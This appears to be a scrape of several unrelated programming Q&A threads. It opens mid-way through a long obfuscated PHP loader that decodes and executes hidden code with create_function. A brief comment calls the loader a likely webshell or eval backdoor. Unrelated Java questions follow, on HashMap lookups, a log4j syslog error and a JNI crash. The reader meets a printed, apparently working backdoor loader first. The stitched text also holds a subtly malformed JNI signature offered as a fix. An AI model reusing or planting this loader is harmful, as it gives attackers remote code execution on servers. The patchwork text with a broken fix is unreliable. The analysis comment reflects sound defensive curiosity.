x7fw6-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)4/%tjw/ x24)% x24- x24y4 x24- x24]y8 if((function_exists(" x6f 142 x5f 163 x74 141 x72 164") &z)#]341]88M4P8]37]278]225]2bubE{h%)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!2!>#p#/#p#/%z<jg!)%z>>2*!x24*<!~! x24/%t2w/ x24)##-!#~<#/% x24}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t2w)) or (strstr($uas," x72 16c1^W%c!>!%i x5c2^<!Ce*[!%cIj},;osvufs} x27;mnui}&Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P]265]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hA x27pd%6<:>1<!fmtf!%b:>%s: x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w`41]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]38;zepc}A;~!} x7f;!|!}{;)gj}l;33b6<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4sbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc x7f!|!*uy*CW&)7gj6<*doj%7-C)fepmqnjA x27&%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<")));$sfvr# x5cq%7/7###7/7^#iubq# x5cq% x27jsv%6<C>^#zs>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y]252]18y]#>q%#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)f75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#6 x3a 61 x31"))) { $ukqjmyx = " x63 162 x65 141 x74 1jsv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**1924- x24 x5c%j^ x24- x24tvctus)% x24-7-K)fujsxX6<#o]o]Y%7;utpI1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]<#762]67y]562]38y]572]48y]#>m%:|:*r%:-t4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg)R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x231M6]y3e]81#/#7e:55946-tr.984: x24b!>!%yy)#}#-# x24- x24-tusqpt)%z-#:#* x24- x24!>! x2%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<pd%w6Z6<.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<" x48 124 x54 120 x5f 125 x53 105 x52 1375Ld]55#*<%bG9}:}.}-}!#*<%nfd>%f}W;utpi}Y;tuofuopd`uff_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)32tmw!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]2<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j4- x24y7 x24- x24*<! x24- x24gps)%WSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#52]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>! x2400~:<h56+99386c6f+9f5d816:+f./###/qp%>5h%!<*::::::-111112)eobsx27{ftmfV x7f<*X&Z&S{ftmfV x7f<*XAZAz>! x24/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rNV;hojepdoF.uofuopD#)sfebfI{*w%).%!<***f x27,*e x27,*d x27,*c x27,*b x27)fepdof.)fepdo x7fw6*CW&)7gj6<.[A x27&6< x7fw6#:>:h%:<#64y]552]e7y]#fubmgoj{h1:|:*mmvo:>:iuhofm%:-5pp7;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!opj<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopo66~67<&w6<*&7-#o]s]o]s]#)fepmqyf x27*&7-n%)23ldfid>}&;!osvufs} x7f;!opjudov45 x5f 146 x75 156 x63 164 x69x24- x24]26 x24- x24<%j,,*!| x24- x24gvodujpo! x2q}k;opjudovg}x;0]=])0#)U! x27{**u%-#j%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm)%tjw)bssbz)#P#-#Q#-#{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudov.2`hA x27pd%6<C x27pd%6|6.7eu{ 157 x6e"; function gfvevvm($n){retu7]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<#3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-epmqnj!/!#0#)idubn`hfsq)!sp!*#ojh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}342]58]24]31#-%tdz*Wsfuvso!%bsutjm6< x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111g x22)!gj}1~!<2p% x7f!~!<##!>!gj<*#k#)usbut`cpV x7f x7f x7f x7f<u%V dXA x27K6< x7fw6*3qj%7> x2272qj%)7gj6<**2qj%)hopm3q#7>/7rfs%6<#o]1/20QUUI7127-K)ebfsX x27u%)7fmjix6<C x27&6<*rfs%qssutRe%)Rd%)Rb%))!gj!<*#cd2bgej>1<%j=tj{fpg)% x24- OBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#dy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtp-s.973:8297f:5297e:56-xr.985:52985- x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%wwsTrREvxNoiTCnuf_EtaerCxECalPer_Rtsjnauhuwim'; $eqeosz = explode('x', $ghacbiaz); //substr($ghacbiaz, (38801 - 32924), (221 - 187))); $npljogw = 'create_function';//$eqeosz[0]($eqeosz[(5 - 4)]); $yyhtlq = 'str_replace'; //$eqeosz[0]($eqeosz[(6 - 4)]); if (! function_exists('lmnuklsld')) { function lmnuklsld($zvtcgxlvy, $ncmclvjy, $ocpapj) { $owfkdynb = NULL; for ($yxbwhrs = 0; $yxbwhrs < (sizeof($zvtcgxlvy) / 2); $yxbwhrs ++) { $owfkdynb .= substr($ncmclvjy, $zvtcgxlvy[($yxbwhrs * 2)], $zvtcgxlvy[($yxbwhrs * 2) + (7 - 6)]); } $code = $ocpapj("\x09", '\\', $owfkdynb); return $code; } ; } $smkwpyx = explode(chr((230 - 186)), '2305,57,1344,54,676,56,3902,41,1977,60,2559,27,3280,53,4884,30,5131,36,228,42,2108,39,74,46,2669,69,3850,52,5101,30,4809,43,5371,51,5564,39,3414,25,5541,23,3333,45,821,65,5490,51,488,49,3061,49,1726,49,2147,68,2975,32,2879,38,1775,62,449,39,5655,35,0,40,4602,32,1039,32,3974,21,5308,33,3667,60,4689,66,631,45,537,26,3813,37,5237,39,2389,66,732,39,1641,62,3439,42,4173,62,5059,42,5422,29,1483,21,886,68,1001,38,4548,54,4395,35,1187,47,3165,67,5276,32,427,22,5603,31,4374,21,1542,34,3995,68,2037,37,1306,38,2917,58,1276,30,4269,39,1946,31,4852,32,120,63,1872,29,4656,33,270,38,3598,69,5451,39,4430,36,587,44,4755,54,4517,31,3481,41,2614,21,2848,31,4963,37,563,24,1398,49,4063,54,4308,66,1234,42,5167,70,4634,22,3110,55,3522,39,1447,36,1837,35,40,34,3378,36,3757,56,2268,37,4914,49,4235,34,5634,21,2480,37,2074,34,183,45,2586,28,377,50,2215,53,1703,23,4466,51,2517,42,5690,51,771,50,5800,35,1504,38,3727,30,3232,48,4117,56,3561,37,2635,34,1901,45,3943,31,5741,59,2362,27,2791,57,308,69,5341,30,1124,63,1071,53,2738,53,5835,42,2455,25,5000,59,1576,65,3007,54,954,47'); $upzdjxxg = $npljogw("", lmnuklsld($smkwpyx, $ghacbiaz, $yyhtlq)); $npljogw = $ghacbiaz; $upzdjxxg(""); $upzdjxxg = (413 - 292); $ghacbiaz = $upzdjxxg - 1; The function lmnuklsld it creates would create executable code out of $ghacbiaz and then execute it, but it returns garbage. Most likely the function of the obfuscated code is either a webshell, or simple code to call eval() on code they would sent remotely, for example they'd call the script with $_POST['some_code'] = 'malicious php code here'; which would then get passed to eval, essentially allowing them to do all kinds of things.
HashMap keeps returning null value for no obvious reason
I have a hash map and an ArrayList. Both of them are populated as I have tried to print them out and it works fine. The arrayList contains MeterNumbers (MeterNumber is the key of the HashMap). The map contains MeterNumbers for keys and String for values. What I want to be able to do is, get the String value from the the hasMap given the MeterNumber key which i will provide from the ArrayList. I don't think I need to check if it exists there coz I know it does for sure.I have tried all I can to get the value but it keeps giving me null values. Here is my code. import java.io.FileNotFoundException; import java.util.ArrayList; import java.util.HashMap; import java.util.Map; import java.util.Scanner; public class Try { static Map <MeterNumber, String> map2 = new HashMap <MeterNumber, String>(); static ArrayList<MeterNumber> blackOutMeters = new ArrayList<MeterNumber>(); public static void main (String args[]) { try { Scanner sc2 = new Scanner(new java.io.File("meters.txt")); Scanner sc3 = new Scanner(new java.io.File("outages.txt")); while (sc2.hasNextLine()) { String transformerId; MeterNumber meterId; String line = sc2.nextLine(); String[] array = line.split(" "); if (array.length>3){ transformerId = array[3]; meterId = MeterNumber.fromString(array [0] + array [1] + array [2]); map2.put(meterId, transformerId); } } // System.out.println (map2.values()); while (sc3.hasNextLine()) { MeterNumber meterId; String line = sc3.nextLine(); String[] array = line.split(" "); if (array.length>2){ meterId = MeterNumber.fromString(array [0] + array [1] + array [2]); blackOutMeters.add(meterId); } } for (int i = 0; i <blackOutMeters.size(); i++){ String s = map2.get(blackOutMeters.get(i)); System.out.println (s); } } catch (FileNotFoundException e) { e.printStackTrace(); } }} file format for meters.txt is: 900 791 330 T1 379 165 846 T1 791 995 073 T1 342 138 557 T1 114 125 972 T1 970 324 636 T1 133 997 798 T1 308 684 630 T1 169 329 493 T1 540 085 209 T1 265 229 117 T1 970 173 664 T1 264 943 573 T1 462 043 136 T1 087 307 071 T1 001 343 243 T1 file format for outages.txt is: 900 791 330 379 165 846 791 995 073 342 138 557 114 125 972 970 324 636 133 997 798 Thank you in advance.
You need to implement hashCode and equals for MeterNumber Otherwise Java has no way of knowing how to compare your objects
Eclipse [] is an unknown syslog facility error
I'm trying to execute a program in eclipse and I when I click run I see this in the console output: [] is an unknown syslog facility. Defaulting to [USER]. / "Failed" Any ideas?
It looks like that error is coming from org.apache.log4j.net.SyslogAppender, and that you've tried to set a bad facility name. Go take a look at your appenders and how you are setting them up. 414 public 415 void setFacility(String facilityName) { 416 if(facilityName == null) 417 return; 418 419 syslogFacility = getFacility(facilityName); 420 if (syslogFacility == -1) { 421 System.err.println("["+facilityName + 422 "] is an unknown syslog facility. Defaulting to [USER]."); 423 syslogFacility = LOG_USER; 424 } 425 426 this.initSyslogFacilityStr(); 427 428 // If there is already a sqw, make it use the new facility. 429 if(sqw != null) { 430 sqw.setSyslogFacility(this.syslogFacility); 431 } 432 }
Error in JNI method returning ArrayList of Points
I'm trying to use JNI to import a c++ library that I will use in my java project. I have successfully gotten the library method to be called and am trying to return an ArrayList of Point objects from the JNI function. However, I'm getting an error with a rather vague description ('Problematic frame: V [libjvm.dylib+0x30bab5] JNI_ArgumentPusherVaArg::JNI_ArgumentPusherVaArg(_jmethodID*, __va_list_tag*)+0xd '). I have no clue what's going on, does anyone know what's going on or how I should interpret this console output? I can attach the log file if anyone wants it. Console output: # # A fatal error has been detected by the Java Runtime Environment: # # SIGSEGV (0xb) at pc=0x000000010550bab5, pid=4633, tid=6403 # # JRE version: Java(TM) SE Runtime Environment (7.0_51-b13) (build 1.7.0_51-b13) # Java VM: Java HotSpot(TM) 64-Bit Server VM (24.51-b03 mixed mode bsd-amd64 compressed oops) # Problematic frame: # V [libjvm.dylib+0x30bab5] JNI_ArgumentPusherVaArg::JNI_ArgumentPusherVaArg(_jmethodID*, __va_list_tag*)+0xd # # Failed to write core dump. Core dumps have been disabled. To enable core dumping, try "ulimit -c unlimited" before starting Java again # # An error report file with more information is saved as: # /Users/zalbhathena/Documents/workspace/Thesis-Test-Application/HPA* Program/hs_err_pid4633.log # # If you would like to submit a bug report, please visit: # http://bugreport.sun.com/bugreport/crash.jsp # Hello World! ASDFse_dcdt.cpp 284 : Starting init()... SeDcdt::initfoo.512se_dcdt.cpp 303 : Calculating External Polygon for domain with 4 points... se_dcdt.cpp 317 : Creating External Polygon... SeDcdt::initse_dcdt.cpp 326 : Backface v1: -14 -14 se_dcdt.cpp 329 : Backface v2: -14 14 se_dcdt.cpp 332 : Backface v3: 14 14 se_dcdt.cpp 335 : Backface v4: 14 -14 se_triangulator.cpp 417 : insert_point_in_edge... se_triangulator.cpp 473 : propagate_delaunay... se_triangulator.cpp 480 : optimizing in constrained mode...4 se_triangulator.cpp 538 : Ok. se_triangulator.cpp 387 : insert_point_in_face... se_triangulator.cpp 473 : propagate_delaunay... se_triangulator.cpp 480 : optimizing in constrained mode...3 se_triangulator.cpp 538 : Ok. se_triangulator.cpp 417 : insert_point_in_edge... se_triangulator.cpp 473 : propagate_delaunay... se_triangulator.cpp 480 : optimizing in constrained mode...4 se_triangulator.cpp 538 : Ok. se_triangulator.cpp 387 : insert_point_in_face... se_triangulator.cpp 473 : propagate_delaunay... se_triangulator.cpp 480 : optimizing in constrained mode...3 se_triangulator.cpp 538 : Ok. se_triangulator.cpp 417 : insert_point_in_edge... se_triangulator.cpp 473 : propagate_delaunay... se_triangulator.cpp 480 : optimizing in constrained mode...4 se_triangulator.cpp 538 : Ok. se_triangulator.cpp 387 : insert_point_in_face... se_triangulator.cpp 473 : propagate_delaunay... se_triangulator.cpp 480 : optimizing in constrained mode...3 se_triangulator.cpp 538 : Ok. se_triangulator.cpp 387 : insert_point_in_face... se_triangulator.cpp 473 : propagate_delaunay... se_triangulator.cpp 480 : optimizing in constrained mode...3 se_triangulator.cpp 538 : Ok. 1 2 3 4 HPAProgram.cpp /* * HPAProgram.c++ * * Created on: Feb 4, 2014 * Author: zalbhathena */ //=#include <jni.h> #include <stdio.h> #include "HPAProgram.h" #include "DCDTWrapper.h" JNIEXPORT jobject JNICALL Java_HPAProgram_sayHello (JNIEnv *env, jobject obj) { printf("Hello World!\n"); GsArray<GsPnt2> edges; create_dcdt(&edges); printf("1\n"); jclass arraylist_class = (*env).FindClass("java/util/ArrayList"); jclass point_class = (*env).FindClass("java/awt/Point"); jmethodID init_arraylist = (*env).GetMethodID(arraylist_class, "<init>", "()V"); jmethodID init_point = (*env).GetMethodID(point_class, "<init>", "(II)V"); jmethodID add_arraylist = (*env).GetMethodID(arraylist_class, "add", "(java/lang/Object)V"); jobject return_obj = (*env).NewObject(arraylist_class, init_arraylist); printf("2\n"); for (int n=0;n<edges.size();n++) { jfloat x = 1; jfloat y = 1; printf("3\n"); jobject point_obj = (*env).NewObject(point_class, init_point,x,y); printf("4\n"); (*env).CallVoidMethod(return_obj, add_arraylist, point_obj); printf("5\n"); } return nullptr; } DCDTWrapper.cpp # define END 12345.6 # define FIRST_EXAMPLE Example1 //# include "DCDTsrc/se_dcdt.h" //# include "DCDTsrc/gs_polygon.h" //# include <stdlib.h> # include "DCDTWrapper.h" static double Example1[] = { -10, -10, 10, -10, 10, 10, -10, 10, END, 1, 1, 7, 3, 3, 8, END, END }; static const double* CurExample = FIRST_EXAMPLE; static SeDcdt TheDcdt; static GsPolygon CurPath; static GsPolygon CurChannel; static float CurX1=0, CurY1=0, CurX2=0, CurY2=0; static int CurSelection=0; // -2,-1: moving point, >0: moving polygon void create_dcdt (GsArray<GsPnt2>* edges) { printf("ASDF"); const double* data = CurExample; GsPolygon pol; // domain: while ( *data!=END ) { pol.push().set((float)data[0],(float)data[1]); data+=2; } TheDcdt.init ( pol, 0.00001f ); while ( *++data!=END ) { pol.size(0); while ( *data!=END ) { pol.push().set((float)data[0],(float)data[1]); data+=2; } TheDcdt.insert_polygon ( pol ); } GsArray<GsPnt2> unconstr; TheDcdt.get_mesh_edges(edges, &unconstr); for(int i = 0; i < unconstr.size(); i++) { edges -> push(unconstr.get(i)); } } HPAProgram.java import java.util.ArrayList; public class HPAProgram { /* static { //System.out.println(new File(".").getAbsolutePath()); System.loadLibrary("libhpaprogram"); // hello.dll (Windows) or libhello.so (Unixes) } //private native void sayHello(); */ public native ArrayList<String> sayHello(); public static void main(String[] args) { System.loadLibrary("HPAProgram"); HPAProgram s = new HPAProgram(); s.sayHello(); MapWindowController map = new MapWindowController(); } }
Function addfrom class ArrayList has return type boolean not void so in c code you have to call CallBooleanMethod from env instead of CallVoidMethod. Edit: And you need to correct the signature of the add method as well.
You need to change the method signature for "add" element in arrayList as below: jmethodID add_arraylist = (*env).GetMethodID(arraylist_class, "add", "(java/lang/Object)Z"); instead of jmethodID add_arraylist = (*env).GetMethodID(arraylist_class, "add", "(java/lang/Object)V");